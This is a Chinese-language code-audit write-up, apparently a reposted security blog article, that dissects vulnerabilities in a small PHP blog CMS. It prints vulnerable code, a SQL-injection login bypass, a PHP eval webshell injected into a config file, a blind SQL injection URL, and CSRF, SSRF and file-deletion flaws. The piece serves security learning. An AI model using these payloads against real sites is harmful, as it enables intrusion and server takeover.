浅谈代码审计入门实战:某博客系统最新版审计之旅

标签: 安全漏洞 | 发表时间:2017-08-14 13:21 | 作者:shendao
分享到:
出处:http://www.shellsec.com

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。

身份验证漏洞

首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里 ad/login.php 先看代码

function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);  @$loginlong=$_POST["loginlong"];  setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');  $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk);

这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过

username=qweq' or 1=1# password=123

任意文件修改导致getshell

进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的 setconfig.php 我们先看一下大致的表单提交格式

<?function save(){ global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath; $file="../cmsconfig.php"; $text = file_get_contents($file); $text2=$text; $text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2); $text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2); $text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2); $text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2); $text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2); $text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2); $text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2); $text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2); $text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2); ?>

这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

浅谈代码审计入门实战:某博客系统最新版审计之旅

所以我们可以构造一句话插入

";@eval($_POST['cmd']);/*

浅谈代码审计入门实战:某博客系统最新版审计之旅

然后用菜刀链接 cmsconfig.php 文件

XSS

既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在 art.php 先大致看一下代码有无过滤

添加文章

<?php  function addart(){ $_SESSION['jdate']='';$_SESSION['jid']=''; global $webauthor,$date,$weburl; global $tabhead; $title=$_GET['title']; $content=$_GET['content']; ?>

这里乍一看是没有进行过滤的,接着找一下表单结构

<div id=addart_left> <span id="jieguo"></span> <form id="frm" name="frm" method="post" action="?g=editsave" > <input name=id type=hidden value="<?=$id?>" > <p><input  style="width:400px" type=text name=title value="<?=$title?>" >文章标题,严禁特殊符号</p> <p><input  style="width:400px"  name=htmlname type=text value="<?=$htmlname?>" >html别名,静态目录,严禁特殊符号</p>  <p ><input  style="width:400px;"  type=text name=pic id=pic_txt value="<?=$pic?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg" onchange="changepic2()" >填写缩略图网址   </p>  <p><textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;"><?=htmlspecialchars($content);?></textarea></p> </div>

这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了 tags 参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数

$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];} $tags=htmlnameguolv($tags);

跟进去过滤函数

function htmlnameguolv($str){ $str = str_replace('`', '', $str);     $str = str_replace('·', '', $str);     $str = str_replace('~', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('@', '', $str);     $str = str_replace('#', '', $str);     $str = str_replace('$', '', $str);     $str = str_replace('¥', '', $str);     $str = str_replace('%', '', $str);     $str = str_replace('^', '', $str);     $str = str_replace('……', '', $str);     $str = str_replace('&', '', $str);     $str = str_replace('*', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('——', '', $str);     $str = str_replace('+', '', $str);     $str = str_replace('=', '', $str);     $str = str_replace('|', ',', $str);     $str = str_replace('//', '', $str);     $str = str_replace('[', '', $str);     $str = str_replace(']', '', $str);     $str = str_replace('【', '', $str);     $str = str_replace('】', '', $str);     $str = str_replace('{', '', $str);     $str = str_replace('}', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace('/'', '', $str);     $str = str_replace('"', '', $str);     $str = str_replace('“', '', $str);     $str = str_replace('”', '', $str);     $str = str_replace(',', ',', $str);     $str = str_replace('<', '', $str);     $str = str_replace('>', '', $str);     $str = str_replace('《', '', $str);     $str = str_replace('》', '', $str);     $str = str_replace('.', '', $str);     $str = str_replace('。', '', $str);     $str = str_replace('/', '', $str);     $str = str_replace('、', '', $str);     $str = str_replace('?', '', $str);     $str = str_replace('?', '', $str); return $str; }

写了一堆替换,也没想到啥绕过方法,然后又换了另一个参数 title 这回发现这个参数并没有进行过滤,这是在输入的时候给了个不要输入特殊字符的警告。

浅谈代码审计入门实战:某博客系统最新版审计之旅

前台查看文章

当然这里也是存在二次注入的

SSRF

问题处在 /go/index.php ,关键代码如下

<?php   $u=$_GET['u']; $u=strtolower($u);   $u='http://'.str_replace('http://','',$u);    ?> <script>location.href="<?=$u?>"</script>

u是我们可控的参数,也是一个地址,我们可以直接传入一个内网地址,实现主机发现或者端口扫描

CSRF

问题出在 /ad/admin.php ,关键代码如下

<?function add(){?> <ul> <li><a  target="main" href='right.php'><b>您的位置:后台首页</b></a> > <a  target="main" href='admin.php'><b>管理员列表</b></a> >  <a  target="main" href='admin.php?g=add'><b>添加管理员</b></a> </li> </ul> </div> <div id=adform> <form id="frm" action="?g=addsave" method="post"> <p><input id=text type="text" name="ad_user" size=20 value="">请输入帐号</p> <p><input id=text type="password" name="ad_psw" size=20 value="">请输入密码</p>  <p><input id=text type="password" name="ad_psw2" size=20 value="">重新输入密码</p>  <p><button id="send" onclick=submit() >添加</button></p> </form> </div> <?}?>

这里并没有做相应的token认证所以可能存在csrf漏洞,我们用burp截包

浅谈代码审计入门实战:某博客系统最新版审计之旅

这里有个小技巧可以直接用burp直接生成csrf钓鱼页面完成后丢弃这个包,我们先看我们的管理员有几个

点击html页面的提交

浅谈代码审计入门实战:某博客系统最新版审计之旅

再后来看我们的管理员

任意文件删除

问题处在 /app/dbbackup/index.php 中关键代码如下

if($g=='del'){ $p=$_REQUEST['p']; if($p==''){echo '<script>alert("文件名为空,无法删除!");location.href="?"</script>';} unlink($p);

这里大概看一眼就能明白,p参数可控,且没有进行过滤,所以可以直接删除任意文件,这种任意文件删除一般可以删除 install.lock 从而导致重装漏洞,这里这个博客系统是安装完成后自动把安装页面直接删除了,所以暂不存在该漏洞

SQL注入

问题出在 hit.php ,关键代码如下

<?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv();  $g=$_GET['g'];   if ($g=='arthit'){ $id=$_GET['id'];     if($id!=''){  $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql);     $str=$row['hit'];     echo 'document.write('.$str.');';     } }  ?>

看到这里可能很多同学认为id是我们可控并且没有进行任何过滤的,其实作者这里是做了过滤,关键点在这里

这里引用了c_other.php的sqlguolv函数,我们跟进去看一下关键代码

Function sqlguolv() {         header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!";    exit;} }

这里是把 $_SERVER['QUERY_STRING']) 与关键字做了比较,起到了一定的过滤效果,然而过滤并不完全,我们依然可以利用盲注绕过绕过很简单,这里就只贴一个payload了

hit.php?g=arthit&id=1 and ascii(mid((database()),1,1))>10

脚本懒得写了

做个总结吧,代码审计还是那2种老套路,第一是通读代码,这样的好处是可以挖掘一些逻辑漏洞,比如条件竞争之类的,第二是直接全局搜索,找关键函数,看变量是否可控,是否存在过滤balabala的,对于初学者来说个人认为最快的方法是找一篇老旧的CMS自己尝试审计一下,一般来说是前台(浏览器)找到php,后台对应找php源码看看,主抓一些危险函数及waf函数看看有没有绕过可能。

*本文作者:pupiles,转载请注明来自 FreeBuf.COM

相关 [代码 审计 博客] 推荐:

浅谈代码审计入门实战:某博客系统最新版审计之旅

- - 神刀安全网
第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着. 缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下.

Java代码审计基础(一)

- - 阿德马Web安全
本文重点是让大家了解JAVA代码审计的基础,会以漏洞示例的方式介绍JAVA代码中常见Web漏洞的形成和针对的修复方案,文章是在国外网站上看到的,因为在接触JAVA代码审计,感觉挺高大上的文章,很适合对JAVA代码审计感兴趣的童鞋找感觉之用,就根据自己的理解翻译了过来,拿去某平台投稿,被鄙视说太基础,就只好发自己的Blog上了.

Python安全编码与代码审计

- - FreeBuf.COM | 关注黑客与极客
现在一般的web开发框架安全已经做的挺好的了,比如大家常用的django,但是一些不规范的开发方式还是会导致一些常用的安全问题,下面就针对这些常用问题做一些总结. 代码审计准备部分见《php代码审计》,这篇文档主要讲述各种常用错误场景,基本上都是咱们自己的开发人员犯的错误,敏感信息已经去除. 未对输入和输出做过滤,场景:.

代码审计入门总结

- - WooYun知识库
之前看了seay写的PHP代码审计的书,全部浏览了一遍,作为一个代码审计小白,希望向一些和我一样的小白的人提供一下我的收获,以及一个整体的框架和常见漏洞函数. 这也算是这本书的一个学习笔记吧,可以结合我捋顺的思路来看这本书. 学习代码审计的目标是能够独立完成对一个CMS的代码安全监测. 通读全文代码,从功能函数代码开始阅读,例如 include文件夹下的 common_fun.php,或者有类似关键字的文件.

职业感悟:代码审计与编程在渗透中的重要性

- - Seay's blog 网络安全博客
   配图:3D立体街头涂鸦.      博客连着断了一个月没更新,期间写过好几篇各个方向的文,都是写到一半就夭折,这篇文章强迫自己耐心写出来的. 最近跟出版社沟通好了在写一本关于代码审计和安全编程的书,算是把我这几年的技术积累做一个总结,刚好昨天跟safekey team几个搞渗透的朋友说到编程的问题,就想写个文来好好讲讲.

代码审计:eyou(亿邮)邮件系统两个getshell和两个有意思的漏洞

- - Seay's blog 网络安全博客
最近在给一家市值过百亿美金的公司做渗透测试,发现其中一个域名用的亿邮邮件系统,就顺便下了套亿邮的源码看了看,发现这套系统的安全性还停留在零几年,问题一大堆,找到一些getshell,简单列两个,再拧两个稍微有意思的漏洞分享一下,就不写详细分析了. 另外过段时间会更新一版代码审计系统,会加几种漏洞类型的审计规则,还有优化误报.

再次发布本人所有博客文章中涉及的代码与工具(大部分是C++和Java)

- - BlogJava_首页
    (为了能让更多人看到,再发一次旧文,望见谅).     为了更方便地管理博文中涉及的各种代码与工具资源,现在把这些资源迁移到 Google Code 中,有兴趣者可前往下载. 1、《 Portal-Basic Java Web 应用开发框架 v2.6.2 发布(源码、示例及文档)》.   资源下载地址: http://code.google.com/p/portal-basic/downloads/list.

博客之尾

- FQX - Nings blog
中国的博客时代,2006-2010. 机器人控制世界的时代虽然仍未到来,然而部分机器人如Google Trends已经可以做到这些无伤大雅的数据分析了. 感慨的话不再多说,知者自知,不知者无所谓. 总结一下发现的几个标志着博客时代尾声的点,可能片面些,仅供路过. 在博客时代,博客圈曾盛行一些传播游戏或立场之争.

博客2.0:社交博客的兴起

- maple - GeekPark 捕风捉影
作者:网易科技专栏作家 师北宸(微博). 最近三四年,随着社交网络和微博客的兴起,博客衰退的速度已经快到大家很久都看不到新闻上出现“博客”的程度了——即便出现,也是在讲博客衰退得有多厉害. 我去年建了一个独立博客,贴了几篇文章后,再没有更新. 今年主机商发信要求我续费时,我也没续,只把域名保留了下来.